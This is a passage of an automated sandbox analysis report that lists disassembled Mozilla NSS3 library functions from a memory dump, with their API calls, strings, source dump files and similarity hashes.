Part of subcall function 6C69BE30: SECOID_FindOID_Util.NSS3(6C65311B,00000000,?,6C65311B,?), ref: 6C69BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C688F6A

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C688FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C688FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C76D820,6C689576), ref: 6C688FF9
DER_GetInteger_Util.NSS3(?), ref: 6C68901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C68903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C689062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6890A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6890CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6890F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C68912D
free.MOZGLUE(00000000), ref: 6C689136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C689145

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 9b5357d97fb038e5a78cc682d23c079eab4dfb5f14bedd52b86112390a48fb31
Instruction ID: b1a7cd57a3c255848244810de183d1b61aeb66b4668b20c3daf989d02d383f97
Opcode Fuzzy Hash: 9b5357d97fb038e5a78cc682d23c079eab4dfb5f14bedd52b86112390a48fb31
Instruction Fuzzy Hash: AB5102B2A092009BEB00CF29DC40B9BB7E9EF99358F044529EC5597701E731E945CBEA

Function 6C67ADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C67ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C67AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C67AE29

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C67AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C67AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C67AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C67AEA0

Strings

hSession = 0x%x, xrefs: 6C67AE01, 6C67AE11
C_MessageSignInit, xrefs: 6C67ADE1
hKey = 0x%x, xrefs: 6C67AE62, 6C67AE72
nul, xrefs: 6C67AEB8, 6C67AEE6
(CK_INVALID_HANDLE), xrefs: 6C67AE1F, 6C67AE80

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nul
API String ID: 332880674-2681312043
Opcode ID: 00e878f9b6f6cbd31a717a982a4de0530fafcaebfdc23492b780232ba7226184
Instruction ID: ae8fa5c0f38c43efc57b8550c8fd776d0d3e5c5cae10f859b2b59f00dcd83eae
Opcode Fuzzy Hash: 00e878f9b6f6cbd31a717a982a4de0530fafcaebfdc23492b780232ba7226184
Instruction Fuzzy Hash: B431E972600104ABCB109F65ED4CBAF3775AB4630DF444839F90D67A12DB309949DBAA

Function 6C679EE0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6C679F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C679F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C679F49

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C679F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C679F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C679FAA
PR_LogPrint.NSS3(?,00000000), ref: 6C679FC0

Strings

hSession = 0x%x, xrefs: 6C679F21, 6C679F31
C_MessageEncryptInit, xrefs: 6C679F01
hKey = 0x%x, xrefs: 6C679F82, 6C679F92
nul, xrefs: 6C679FD8, 6C67A006
(CK_INVALID_HANDLE), xrefs: 6C679F3F, 6C679FA0

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$nul
API String ID: 332880674-3013563199
Opcode ID: 4a38fa92cec128019c4b2e2ffe78fdcb871833039ffa18427f5f6157fea67778
Instruction ID: f23783110bfd2b3462946f1691dac0b3a4ec56b746a6a7a278b7f84868d5bbf1
Opcode Fuzzy Hash: 4a38fa92cec128019c4b2e2ffe78fdcb871833039ffa18427f5f6157fea67778
Instruction Fuzzy Hash: 5231D571601204ABCB109F65EE4CBAF37B5AB4731DF444838F90D67A41DB349948CBAA

Function 6C672DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C672DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C672E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C672E33

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C672E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C672E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C672E81

Strings

hSession = 0x%x, xrefs: 6C672E0E, 6C672E1E
ulPinLen = %d, xrefs: 6C672E7C
nul, xrefs: 6C672E99, 6C672EC4
C_InitPIN, xrefs: 6C672DF1
pPin = 0x%p, xrefs: 6C672E63
(CK_INVALID_HANDLE), xrefs: 6C672E2C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nul
API String ID: 1003633598-499277901
Opcode ID: d71844128c9b445a878f2c35ce2a8fd3b33dae9099c05a74e944a13cc39fc51b
Instruction ID: 1789d3f2a5e5d8a4a510b25464ac047c9fb6f2b777d01f5dc95354a370fa82aa
Opcode Fuzzy Hash: d71844128c9b445a878f2c35ce2a8fd3b33dae9099c05a74e944a13cc39fc51b
Instruction Fuzzy Hash: D931F771601154EBDB108BA5EE4CB8F3BB5EB4731DF444434E80D67A11DF309949CBAA

Function 6C677E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C677E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C677E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C677E63

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C677E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C677E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C677EB1

Strings

hSession = 0x%x, xrefs: 6C677E3E, 6C677E4E
C_VerifyUpdate, xrefs: 6C677E21
nul, xrefs: 6C677EC9, 6C677EF7
pPart = 0x%p, xrefs: 6C677E93
(CK_INVALID_HANDLE), xrefs: 6C677E5C
ulPartLen = %d, xrefs: 6C677EAC

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$nul
API String ID: 1003633598-1191783009
Opcode ID: ea40b185c107b6c67b8f29abf4bf06a815659e6045e597380f3b488e9a457f08
Instruction ID: da5e8705a653c9e77154b87827872ae758ef413e30f4ee0422f7aab4549ebf89
Opcode Fuzzy Hash: ea40b185c107b6c67b8f29abf4bf06a815659e6045e597380f3b488e9a457f08
Instruction Fuzzy Hash: AB31D475A01114ABDB108BA5EE4CB9F3BB1EB43319F444834E80D67A11DB30AD09CBAA

Function 6C676EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C676F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C676F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C676F53

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C676F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C676F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C676FA1

Strings

hSession = 0x%x, xrefs: 6C676F2E, 6C676F3E
C_DigestUpdate, xrefs: 6C676F11
nul, xrefs: 6C676FB9, 6C676FE7
pPart = 0x%p, xrefs: 6C676F83
(CK_INVALID_HANDLE), xrefs: 6C676F4C
ulPartLen = %d, xrefs: 6C676F9C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nul
API String ID: 1003633598-3099892022
Opcode ID: 6c141f7f5d972c61c570c606da229280aeb8df76b46a3681e00f194890506eec
Instruction ID: e39e6f458d03f689d19052ee24a25926c40351084c696e373bde7e669fa3da77
Opcode Fuzzy Hash: 6c141f7f5d972c61c570c606da229280aeb8df76b46a3681e00f194890506eec
Instruction Fuzzy Hash: 9031D7756011149FDB109B65EE4CB8E3BB1EB4335DF444834E80DA7A11DF34D958CBAA

Function 6C677F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C677F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C677F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C677F93

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C677FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C677FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C677FE1

Strings

hSession = 0x%x, xrefs: 6C677F6E, 6C677F7E
ulSignatureLen = %d, xrefs: 6C677FDC
nul, xrefs: 6C677FF9, 6C678027
C_VerifyFinal, xrefs: 6C677F51
(CK_INVALID_HANDLE), xrefs: 6C677F8C
pSignature = 0x%p, xrefs: 6C677FC3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$nul
API String ID: 1003633598-857320793
Opcode ID: 8d635a52071e9428a7d8cd9f5d8596a892e0624e2ac0fdae0e06b5d716c8896b
Instruction ID: a41526eda91439573f2c02d5e1827811ed6c4fafcb67d3d0465b6386c2f02b5a
Opcode Fuzzy Hash: 8d635a52071e9428a7d8cd9f5d8596a892e0624e2ac0fdae0e06b5d716c8896b
Instruction Fuzzy Hash: 2A31E471601104ABDB10DBA6EE4CF9E3BB1EB47359F444835E80D67A11DB34A948CBBA

Function 6C63AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C63AF47

Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090AB
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C7090C9
Part of subcall function 6C709090: EnterCriticalSection.KERNEL32 ref: 6C7090E5
Part of subcall function 6C709090: TlsGetValue.KERNEL32 ref: 6C709116
Part of subcall function 6C709090: LeaveCriticalSection.KERNEL32 ref: 6C70913F

FreeLibrary.KERNEL32(?), ref: 6C63AF6D
free.MOZGLUE(?), ref: 6C63AFA4
free.MOZGLUE(?), ref: 6C63AFAA
PR_ExitMonitor.NSS3 ref: 6C63AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C63AFF5
PR_ExitMonitor.NSS3 ref: 6C63B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C63B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C63B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C63B03C

Strings

%s decr => %d, xrefs: 6C63AFF0
Unloaded library %s, xrefs: 6C63B023

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 57502dfa91bb1d9035a05f57724716e989ac377a38e43f8794ee32697e33f1fe
Instruction ID: c31cfdf4664149b76b0003575d934d51cb688894ddca16f9bdecd5bb77ecf4eb
Opcode Fuzzy Hash: 57502dfa91bb1d9035a05f57724716e989ac377a38e43f8794ee32697e33f1fe
Instruction Fuzzy Hash: EB313BF5B04020ABEF019FE5EC44A4AB7B5EF45318B146239E81D87A01F732E824D7E9

Function 6C686C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C68781D,00000000,6C67BE2C,?,6C686B1D,?,?,?,?,00000000,00000000,6C68781D), ref: 6C686C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C68781D,?,6C67BE2C,?), ref: 6C686C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C68781D), ref: 6C686C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C686C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C686C96

Part of subcall function 6C631240: TlsGetValue.KERNEL32(00000040,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631267
Part of subcall function 6C631240: EnterCriticalSection.KERNEL32(?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C63127C
Part of subcall function 6C631240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631291
Part of subcall function 6C631240: PR_Unlock.NSS3(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C6312A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C686CAA

Strings

rdb:, xrefs: 6C686C69
extern:, xrefs: 6C686C7E
sql:, xrefs: 6C686C52
dbm, xrefs: 6C686CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C686C91
dbm:, xrefs: 6C686C3A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 2393066f29436eb372306b08d2c21975603272b457f339b39e0d0f7e3e20bb53
Instruction ID: cfd0c420b325da5d22fa1474a96d5f29e583c1bd2ac86f7207150646bc406583
Opcode Fuzzy Hash: 2393066f29436eb372306b08d2c21975603272b457f339b39e0d0f7e3e20bb53
Instruction Fuzzy Hash: 5901ADA170331127EE102B7B6E4AF66355C9F4225AF140531FF0AE0A81EFA6EA1580BD

Function 6C694E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6578F8), ref: 6C694E6D

Part of subcall function 6C6309E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6306A2,00000000,?), ref: 6C6309F8
Part of subcall function 6C6309E0: malloc.MOZGLUE(0000001F), ref: 6C630A18
Part of subcall function 6C6309E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C630A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6578F8), ref: 6C694ED9

Part of subcall function 6C685920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C687703,?,00000000,00000000), ref: 6C685942
Part of subcall function 6C685920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C687703), ref: 6C685954
Part of subcall function 6C685920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C68596A
Part of subcall function 6C685920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C685984
Part of subcall function 6C685920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C685999
Part of subcall function 6C685920: free.MOZGLUE(00000000), ref: 6C6859BA
Part of subcall function 6C685920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6859D3
Part of subcall function 6C685920: free.MOZGLUE(00000000), ref: 6C6859F5
Part of subcall function 6C685920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C685A0A
Part of subcall function 6C685920: free.MOZGLUE(00000000), ref: 6C685A2E
Part of subcall function 6C685920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C685A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694EB3

Part of subcall function 6C694820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C694EB8,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C69484C
Part of subcall function 6C694820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C694EB8,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C69486D
Part of subcall function 6C694820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C694EB8,?), ref: 6C694884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694EC0

Part of subcall function 6C694470: TlsGetValue.KERNEL32(00000000,?,6C657296,00000000), ref: 6C694487
Part of subcall function 6C694470: EnterCriticalSection.KERNEL32(?,?,?,6C657296,00000000), ref: 6C6944A0
Part of subcall function 6C694470: PR_Unlock.NSS3(?,?,?,?,6C657296,00000000), ref: 6C6944BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C694F8F
PK11_UpdateSlotAttribute.NSS3(?,6C76DCB0,00000000), ref: 6C694FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C69501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6578F8), ref: 6C69506B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 591234aeeb71a7725d85b0a0a89bd34064f43f4fb371b08eb235038c33b68e95
Instruction ID: 4a2e14664d698cc72935207e6d96659c0daa9f32e9b67013db67610d70253acf
Opcode Fuzzy Hash: 591234aeeb71a7725d85b0a0a89bd34064f43f4fb371b08eb235038c33b68e95
Instruction Fuzzy Hash: AF51F3B19012039FEB019F64EC05AAB36B4FF0635DF140635EC1A86A11FB31D955CBAA

Function 6C63ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63ACE2
malloc.MOZGLUE(00000001), ref: 6C63ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C63AD02
TlsGetValue.KERNEL32 ref: 6C63AD3C
calloc.MOZGLUE(00000001,?), ref: 6C63AD8C
PR_Unlock.NSS3 ref: 6C63ADC0
